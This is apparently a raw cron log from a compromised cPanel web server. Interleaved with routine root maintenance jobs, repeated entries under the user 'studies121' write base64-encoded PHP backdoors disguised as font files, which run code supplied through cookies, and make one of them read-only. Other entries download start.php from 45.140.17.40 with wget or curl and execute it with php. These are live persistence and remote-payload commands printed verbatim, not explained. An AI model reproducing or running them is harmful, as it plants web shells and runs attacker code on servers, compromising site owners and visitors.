Sep  7 00:34:01 ip-184-168-122-23 CROND[19373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:34:01 ip-184-168-122-23 CROND[19372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:35:01 ip-184-168-122-23 CROND[19464]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 00:35:01 ip-184-168-122-23 CROND[19466]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:35:01 ip-184-168-122-23 CROND[19469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:35:01 ip-184-168-122-23 CROND[19468]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 00:35:01 ip-184-168-122-23 CROND[19471]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:35:01 ip-184-168-122-23 CROND[19470]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:35:01 ip-184-168-122-23 CROND[19472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:35:01 ip-184-168-122-23 CROND[19467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:36:01 ip-184-168-122-23 CROND[19567]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:36:01 ip-184-168-122-23 CROND[19566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:36:01 ip-184-168-122-23 CROND[19569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:36:01 ip-184-168-122-23 CROND[19568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:36:01 ip-184-168-122-23 CROND[19570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:37:01 ip-184-168-122-23 CROND[19654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:37:01 ip-184-168-122-23 CROND[19655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:37:01 ip-184-168-122-23 CROND[19656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:37:01 ip-184-168-122-23 CROND[19653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:38:01 ip-184-168-122-23 CROND[19750]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:38:01 ip-184-168-122-23 CROND[19751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:38:01 ip-184-168-122-23 CROND[19753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:38:01 ip-184-168-122-23 CROND[19752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:38:01 ip-184-168-122-23 CROND[19755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:39:01 ip-184-168-122-23 CROND[19929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:39:01 ip-184-168-122-23 CROND[19930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:39:01 ip-184-168-122-23 CROND[19933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:39:01 ip-184-168-122-23 CROND[19935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:39:01 ip-184-168-122-23 CROND[19934]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 00:40:02 ip-184-168-122-23 CROND[20021]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 00:40:02 ip-184-168-122-23 CROND[20025]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:40:02 ip-184-168-122-23 CROND[20027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:40:02 ip-184-168-122-23 CROND[20032]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:40:02 ip-184-168-122-23 CROND[20031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:40:02 ip-184-168-122-23 CROND[20028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:40:02 ip-184-168-122-23 CROND[20033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:40:02 ip-184-168-122-23 CROND[20030]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:41:01 ip-184-168-122-23 CROND[20119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:41:01 ip-184-168-122-23 CROND[20120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:41:01 ip-184-168-122-23 CROND[20121]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:41:01 ip-184-168-122-23 CROND[20123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:42:01 ip-184-168-122-23 CROND[20212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:42:01 ip-184-168-122-23 CROND[20214]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:42:01 ip-184-168-122-23 CROND[20216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:42:01 ip-184-168-122-23 CROND[20215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:42:01 ip-184-168-122-23 CROND[20217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:43:01 ip-184-168-122-23 CROND[20320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:43:01 ip-184-168-122-23 CROND[20322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:43:01 ip-184-168-122-23 CROND[20324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:43:01 ip-184-168-122-23 CROND[20323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:44:01 ip-184-168-122-23 CROND[20452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:44:01 ip-184-168-122-23 CROND[20454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:44:01 ip-184-168-122-23 CROND[20456]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:44:01 ip-184-168-122-23 CROND[20460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:44:01 ip-184-168-122-23 CROND[20461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:45:01 ip-184-168-122-23 CROND[20671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:45:01 ip-184-168-122-23 CROND[20674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:45:01 ip-184-168-122-23 CROND[20675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:45:01 ip-184-168-122-23 CROND[20678]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:45:01 ip-184-168-122-23 CROND[20676]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:45:01 ip-184-168-122-23 CROND[20679]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  7 00:45:01 ip-184-168-122-23 CROND[20680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:46:01 ip-184-168-122-23 CROND[20820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:46:01 ip-184-168-122-23 CROND[20821]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 00:46:01 ip-184-168-122-23 CROND[20826]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
